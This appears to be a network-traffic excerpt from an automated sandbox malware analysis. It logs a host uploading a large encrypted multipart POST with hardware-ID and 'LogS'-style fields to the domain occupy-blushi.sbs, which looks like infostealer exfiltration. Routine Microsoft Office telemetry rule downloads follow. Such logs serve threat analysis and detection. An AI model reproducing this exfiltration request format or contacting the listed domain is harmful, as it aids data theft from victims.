2024-11-25 17:28:25 UTC	274	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=UN9YQ8E8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 552049 Host: occupy-blushi.sbs
2024-11-25 17:28:25 UTC	15331	OUT	Data Raw: 2d 2d 55 4e 39 59 51 38 45 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 36 35 42 36 30 35 41 38 44 46 38 41 36 31 39 44 37 43 42 42 44 36 44 46 32 38 44 33 37 33 32 0d 0a 2d 2d 55 4e 39 59 51 38 45 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 55 4e 39 59 51 38 45 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 55 4e 39 59 51 38 45 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 Data Ascii: --UN9YQ8E8Content-Disposition: form-data; name="hwid"B65B605A8DF8A619D7CBBD6DF28D3732--UN9YQ8E8Content-Disposition: form-data; name="pid"1--UN9YQ8E8Content-Disposition: form-data; name="lid"LOGS11--LiveTraffic--UN9YQ8E8Content-Di
2024-11-25 17:28:25 UTC	15331	OUT	Data Raw: 5e 04 b7 8e 44 7e 0a 9b 37 f9 5b 5a cc d5 bf 5e 0c 0c e2 4d f0 e2 c6 c5 a9 28 ad 01 97 33 49 2a 09 5e 90 c8 da a4 aa 5d 64 b4 c0 81 b4 f2 13 15 4d ee 8e 43 e5 02 9f df 66 02 73 e9 50 51 fe bb a9 0e ae 6a e9 35 86 65 cb 7e 9d 6b ca dd 60 f1 43 bb b9 fc bf c9 5b c5 2d a2 3c 95 36 09 f3 79 70 dd 93 7b c4 09 7d 49 81 cb d1 0d f9 25 dd 59 b9 d8 48 2d 1e e2 78 81 47 9d 71 24 d9 c7 2b 7a fd 6a 6a 9a 68 08 55 fa fc d0 db b5 94 bd b8 0f b9 b9 44 48 46 17 23 15 6a 1d f8 a3 20 e0 3b a0 0c 81 01 ae 88 dd 4e 8c ee 13 48 94 ec be f2 b9 77 eb bd 7a 00 30 11 63 f6 7b 40 a7 77 2f 04 22 dc 3d 42 7c a1 3b 88 d7 6a 1c 70 e6 fe 55 c4 0d f0 2c bc 77 58 8b 39 af cf f8 17 03 68 2b ad db aa 68 78 4e ab 17 30 23 42 e9 7f a0 c0 81 b2 53 25 96 b0 15 f9 7d a1 a4 33 7d 2a 72 73 bf 9f Data Ascii: ^D~7[Z^M(3I^]dMCfsPQj5e~k`C[-<6yp{}I%YH-xGq$+zjjhUDHF#j ;NHwz0c{@w/"=B\|;jpU,wX9h+hxN0#BS%}3}rs
2024-11-25 17:28:25 UTC	15331	OUT	Data Raw: a6 50 5a 50 5a a9 bf 52 51 e4 aa 4c 96 8e e1 21 95 3a df dc fb 0a 5d 82 7c 08 c2 78 9c 30 c4 54 a5 9b 8a 9b f8 a6 15 6d ff 7e 9a cf ee 58 8c 52 48 09 fe f1 ab f8 f5 a6 b3 ee e0 56 a5 db b1 06 17 8f 7c ed 2d d5 88 cd e1 af 83 e4 4c 25 51 bf c9 d2 d0 b3 e3 1b ba 15 0e 43 6b 0f 3d 64 58 3d e1 c8 a3 0d 0d 07 b2 25 4a ee aa 91 86 a5 47 2a 63 b7 de d9 98 43 2f e3 e7 b9 9b 63 0a b1 fd fb 1d 5b 50 a3 c5 ec 4d 4d 18 9d 64 38 79 df 80 52 82 96 68 7f fd dc 6c 1c d4 5f ad e5 e6 29 d4 4f 4a 50 19 93 8a d5 dc 26 08 ad 6c 6e 48 cf 8c b0 ae f7 e2 63 74 85 97 87 ed 33 e8 de a8 1a 25 93 06 d2 0d 9e 63 57 ce e4 79 47 cc 19 ee d6 37 62 8b bb 24 fd a1 f1 06 e4 9e d9 fe f5 5b ac dd 2e c7 ea af d4 90 f5 f8 ef 4d ca 74 9d ca 99 4f 4d df 69 9b c5 34 33 f7 ca d9 55 80 16 01 f6 9e Data Ascii: PZPZRQL!:]\|x0Tm~XRHV\|-L%QCk=dX=%JG*cC/c[PMMd8yRhl_)OJP&lnHct3%cWyG7b$[.MtOMi43U
2024-11-25 17:28:25 UTC	15331	OUT	Data Raw: e7 8a 8f b4 1b 2d 32 09 dd 9d ae 1b a5 06 c2 9f 5a 9b 22 55 fa 68 21 db db be 92 54 18 fd de 85 d9 df 46 43 dc 44 14 32 92 f0 da 4a e1 1f e2 c6 76 3d 19 98 28 0c 69 e9 7c 32 c6 bd 2f 1d 6d 1f 4a da c9 f0 0d 69 37 ac 92 02 0f 6a 6b ee ca c3 c1 37 43 23 d5 bf 31 02 08 b1 5b 30 b7 56 44 de fd 10 77 f2 ca ac 78 03 e4 df be 28 d2 09 a7 ab 07 5f 32 67 2d 1d 4a 9d 39 30 ff f1 77 95 1f f9 e2 f0 47 ac 76 53 98 26 da 4d a8 a8 8e 5c 86 cf ee 04 f3 cb 96 95 42 29 9a d5 2a b3 27 77 ae 12 49 72 ab fe 2a 76 d5 39 73 28 e1 2d 28 61 56 96 16 bf fb c0 ef e8 61 51 38 81 29 c6 5a 0b d8 37 fc ec 69 91 40 c4 e0 e3 2d a0 d9 19 3e 3e d7 ed 81 2b 33 ba 70 ba 2d af ee 50 b9 0f f4 20 53 99 63 71 6d 56 68 2d ad ce 6b 5f f7 4b ba 05 aa 46 ab 7c 0a f1 69 e7 e8 bc db 41 a0 26 a2 45 75 Data Ascii: -2Z"Uh!TFCD2Jv=(i\|2/mJi7jk7C#1[0VDwx(_2g-J90wGvS&M\B)'wIrv9s(-(aVaQ8)Z7i@->>+3p-P ScqmVh-k_KF\|iA&Eu
2024-11-25 17:28:25 UTC	15331	OUT	Data Raw: 50 65 ba f3 14 c3 92 29 73 e5 e7 fb 05 17 d4 41 6c 58 f8 f6 ee e1 7c 13 43 b2 0d ab 64 42 f6 d4 21 d5 82 78 b1 f6 3f 96 1e 5b 5a 20 3d 07 92 dc 35 59 b3 d4 f6 c6 06 17 a1 25 b0 8e e7 c8 b1 2e ee 97 d3 e5 23 6e f9 14 a9 a9 38 91 c4 56 54 97 65 7a e3 68 67 60 07 cf 1a 01 38 07 0d 6f 70 b9 4e 71 43 af a2 17 e8 b9 71 ee ca 81 57 0a 4c fe 3d 69 17 ae 77 13 6e f9 ab ec 86 6f a3 29 c1 23 ab 45 f4 d8 60 66 39 5a 99 ed 58 f2 46 dd ac e8 88 af 81 38 e6 d5 95 ff 5b d2 7e aa f9 bf 19 33 1a 62 34 04 4b 1c c7 81 ad 25 9b 3b 41 df 6f bd 60 8f 20 39 e2 15 d0 2d 8f 88 f6 f5 57 28 46 83 6c 26 a1 e0 0c 16 3e 92 54 4b 03 a4 0e 25 14 38 cd c0 01 bc bf 26 86 7f 5a 54 e1 05 43 ec a2 9a a7 f0 d5 f0 f5 ec c3 0b c6 9d 66 c0 a6 2f 12 71 ef fb 59 5a ad 90 dc 6d 68 cc 18 01 f1 dd e8 Data Ascii: Pe)sAlX\|CdB!x?[Z =5Y%.#n8VTezhg`8opNqCqWL=iwno)#E`f9ZXF8[~3b4K%;Ao` 9-W(Fl&>TK%8&ZTCf/qYZmh
2024-11-25 17:28:25 UTC	15331	OUT	Data Raw: 78 36 c8 af b5 31 c8 96 3d 96 16 a6 d3 14 ad db 56 47 fe f2 bf 29 07 ad 31 21 44 f7 0a 0c 5c d6 ba 9f 87 6a 7b 2e 4a 9e 85 da be 59 9e c3 33 dc 26 bb d1 cd e6 42 da 9d ef e5 62 fc b4 6c 79 77 2d a2 06 f7 6f 35 0a 24 ed c3 c2 ec 9b 16 91 1b 1f 4e c5 e3 f4 64 6f 4f ee 16 3e 1d 9c 55 ba b1 e8 6c 20 f8 3e 30 86 a9 b5 9f 6f 3d dc 18 3f d5 d3 a4 c5 c8 6c 88 7a af 9c 3a a5 17 1d 84 85 0d 24 53 b6 34 a9 97 d9 5a 59 da e4 9e a4 4e b5 d9 32 73 0b 4c 67 75 14 8e 31 3c dc 32 d3 d5 ba ff 90 f6 07 70 4a c6 a3 ef ba c6 46 4f ce db 36 0e 18 0d 6f 7f a6 40 bf f6 3a 58 7a 91 c3 0d 6d 39 b2 33 60 d5 cf 9a 69 b9 33 af c8 3a 52 b5 c0 8f 15 bb a5 92 80 fe 35 7b 94 a5 ea 46 aa 8e ed be da b4 90 4b 6a 35 23 1b a2 53 8e 33 ae b7 90 b2 54 4b 10 45 12 02 f0 63 aa 70 96 17 86 d6 a8 Data Ascii: x61=VG)1!D\j{.JY3&Bblyw-o5$NdoO>Ul >0o=?lz:$S4ZYN2sLgu1<2pJFO6o@:Xzm93`i3:R5{FKj5#S3TKEcp
2024-11-25 17:28:25 UTC	15331	OUT	Data Raw: a3 69 38 20 c8 2d 34 05 ce 3b 67 44 b3 9b 6f 0a f4 35 eb 8e bc ab ca 0b 5b 1f 9d d7 72 85 d3 0f 0b ea 0b f8 76 01 b0 17 90 9a 07 0a f8 e8 17 ea d8 84 a7 51 d9 1a df 86 4d 81 9c b7 54 25 a0 e0 86 2a c8 fb d1 7c c1 3f dd eb e0 94 27 93 40 c9 01 ed f7 92 c6 20 7e c6 98 01 be 4d 8c db 14 fb ae e7 67 70 1c 29 84 f7 ce 4c 6d 3a 2a 2e ea 99 42 bb 11 1a b9 98 66 8f b7 d7 3d 3d 58 7f 4c d7 8d 26 2f 5e 69 4b 4f 47 ea 05 e9 84 2c 9f 82 63 32 85 bc 86 f3 fc d0 cf 14 4a 03 5b cc 04 17 f5 4f 0d df f6 59 30 d7 ad e1 fe e3 f3 11 f0 29 f1 9a 39 14 af a0 c4 f6 21 ef 3e 8f 93 cf 69 c4 03 5d 81 48 be c6 44 7c bf 59 20 5a 97 7e 31 ed b6 79 9f c0 89 40 b3 9d d9 bb 26 1d 48 99 81 4a cf 82 78 ce c0 12 5b a8 43 ec d3 7a 49 d1 bb 29 5e c2 c4 db 8f 36 e9 5c cb b6 ac 4d 67 a5 dd 39 Data Ascii: i8 -4;gDo5[rvQMT%\|?'@ ~Mgp)Lm:.Bf==XL&/^iKOG,c2J[OY0)9!>i]HD\|Y Z~1y@&HJx[CzI)^6\Mg9
2024-11-25 17:28:25 UTC	15331	OUT	Data Raw: 2c de 7c a8 f5 fa a3 27 f7 33 d1 dd 27 05 8f 49 6f cc 68 20 4c 7b aa 16 2f c1 e4 82 20 19 70 d8 84 44 cf 55 a7 07 be 0a 92 aa 32 f9 49 64 da ff 76 12 09 69 63 67 51 18 4d 88 8c de 28 f3 9e 00 f1 35 37 81 dd 95 12 87 4b 55 2e 18 72 a5 91 e1 8b f5 e7 91 6e 73 7f 47 e2 86 07 93 76 a9 c9 80 17 db 50 2b 9d 6e ef 16 5b 5d 49 2e ea fd 34 7f 2d 35 ed 3a 85 f9 ed ab ff d8 28 b3 6a 38 6d 73 45 63 8b 97 f7 2b de a4 51 3e 37 4b 63 40 3a de 73 70 54 f8 52 d7 9c 79 db c1 a5 93 62 43 f9 37 78 87 8b 0f 89 f5 7a ab 54 6b f7 3b 7d 5d 55 67 fc b8 86 57 10 69 8a 51 7a 3d 84 e5 48 b1 53 b7 c2 9a 6c b7 52 15 98 54 eb 7e 64 2b d4 b9 9f 7b 1c 7b 6c 82 00 29 ab 37 c8 23 45 45 e9 62 43 e7 10 89 15 17 03 44 29 77 ee 90 6b 00 5f 34 b4 8a 9f 18 6a 50 ac 9f dc 78 3c 89 7d 22 84 f7 04 Data Ascii: ,\|'3'Ioh L{/ pDU2IdvicgQM(57KU.rnsGvP+n[]I.4-5:(j8msEc+Q>7Kc@:spTRybC7xzTk;}]UgWiQz=HSlRT~d+{{l)7#EEbCD)wk_4jPx<}"
2024-11-25 17:28:25 UTC	15331	OUT	Data Raw: 4c d5 dc 10 34 ff c5 22 c0 b3 f2 c5 87 7b 47 df b6 55 fe 2f 0d 44 fc 73 8a bd 2f 00 31 cb fd 50 a5 36 d8 f9 e3 34 3a 2a b9 59 fc 52 fe ef c1 c7 09 18 8d 4d 1f ab e1 e8 e1 c9 8f 1d 1c ee 71 dd ca ec c4 53 5b 47 a4 b6 8a a2 fc 16 8a c4 89 45 6f 39 c6 86 7f 7e 2d b2 41 88 1f f3 20 e5 e3 e6 b6 5d a0 c6 bf 14 35 27 4a 75 1b 54 08 b7 79 ff c2 13 e4 2e 88 e4 48 82 0d 08 81 0c 37 72 66 18 02 38 14 c3 bc 84 a4 a0 c3 85 81 ff bf f3 2f 0d 3e ad 38 fe 95 9b 92 01 41 57 f1 cb c2 40 ad 17 09 e6 5f ef 6b ae d9 0e 11 29 99 26 88 cd e7 91 fd d3 5e 6a c2 e1 f6 2e d2 04 d6 0c 40 d8 5a 44 fa 12 b2 05 63 62 90 89 5a ac ac d4 00 c7 36 ab 7a b8 a5 22 b5 fc 91 ce 84 da 77 84 db 12 a3 bd d1 28 78 e3 9e b2 9c 3d 6a 02 29 fa ac 2e f6 ba 9f e0 7b d6 13 6e 72 86 bb f6 4b 78 40 61 01 Data Ascii: L4"{GU/Ds/1P64:*YRMqS[GEo9~-A ]5'JuTy.H7rf8/>8AW@_k)&^j.@ZDcbZ6z"w(x=j).{nrKx@a
2024-11-25 17:28:25 UTC	15331	OUT	Data Raw: a1 d6 26 58 a6 c1 fd 7c 57 0a e3 17 02 a2 73 59 bd 0f e9 5c dd 99 de 61 dd e0 01 ee 3d 6e 2f 5e 86 d7 ec b6 3c 12 df 6b 3f b0 56 c4 cd 31 24 0f 45 8e 2c d9 f3 54 5a c8 77 08 b3 5c fe f4 29 76 55 dc 87 0a 45 fe b5 8b 12 98 ea 69 fe 56 a5 a8 e0 6b 04 8e 22 1e 32 e4 3f c2 d0 68 87 19 f4 ef ac 45 6f d6 55 45 c3 f0 ae aa 20 be 4a b3 79 51 bc e9 fc 7c e3 08 04 7a ef 52 4f 4c 17 ce a4 ca 38 e7 06 ce 0c 7d 2e 16 06 61 bf 2e f1 dd c4 fe df 43 45 9a 03 c1 05 65 01 2d d3 41 f5 3e 02 cc e7 4a d1 c5 a2 00 c7 c3 f2 f3 df f9 a3 70 20 a6 e2 92 da 9d 16 f8 b6 b5 ec 25 bc c2 a9 89 9a 81 9b a7 cf 13 d3 a2 b4 24 70 33 0c e9 9e be 2f 57 e9 74 6d 9b b8 96 88 fa 3a 86 a7 3a f6 f9 7e 41 c2 56 e4 fd 3c 23 79 4e cd fd 6e 39 ec 8e c0 86 e5 a3 41 90 8b fa 0e 47 c0 3c bb 4b 1e 38 5d Data Ascii: &X\|WsY\a=n/^<k?V1$E,TZw\)vUEiVk"2?hEoUE JyQ\|zROL8}.a.CEe-A>Jp %$p3/Wtm::~AV<#yNn9AG<K8]
2024-11-25 17:28:28 UTC	1023	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:28:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=h2dhml9s1gqhiqg8ibct9h42c0; expires=Fri, 21-Mar-2025 11:15:05 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=eGWfBn8PIUxGNTpqwRSQY1ylzq8Ve%2FBml6qIBYvzfA6jWU6ARTfV4FrAckJfTAMed3250cUAcjwWi57UPE0a9%2Bh%2FS85UWjIR24Tw26em20av0eGc6RDLFAc2vhKe7hHhPYMzxQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e835ae5ffe88ce2-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1812&sent=313&recv=584&lost=0&retrans=0&sent_bytes=2843&recv_bytes=554543&delivery_rate=1512169&cwnd=202&unsent_bytes=0&cid=770f381ac419dbea&ts=3525&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.6	49735	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:26 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 17:28:27 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:28:27 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: 686dd03c-b01e-005c-4d47-3c4c66000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T172827Z-15b8b599d88tmlzshC1TEB4xpn000000063000000000k6w0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 17:28:27 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.6	49736	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:26 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 17:28:27 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:28:27 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: ba5d631a-801e-0047-14d1-3e7265000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T172827Z-15b8b599d886w4hzhC1TEBb4ug00000006c00000000041h6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 17:28:27 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.6	49737	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:27 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 17:28:27 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:28:27 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: 4834b854-301e-005d-3ab8-3ee448000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T172827Z-178bfbc474bwlrhlhC1NYCy3kg00000007w0000000001phn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 17:28:27 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.6	49738	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:27 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 17:28:27 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:28:27 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: 9ffa30f7-401e-000a-3a5c-3d4a7b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T172827Z-174c587ffdfx984chC1TEB676g00000006a0000000005a5e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 17:28:27 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.6	49739	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:27 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 17:28:28 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 17:28:28 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: f1d8b84e-f01e-0096-7de6-3d10ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T172828Z-178bfbc474bvjk8shC1NYC83ns00000007hg00000000qaas x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 17:28:28 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.6	49742	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 17:28:29 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
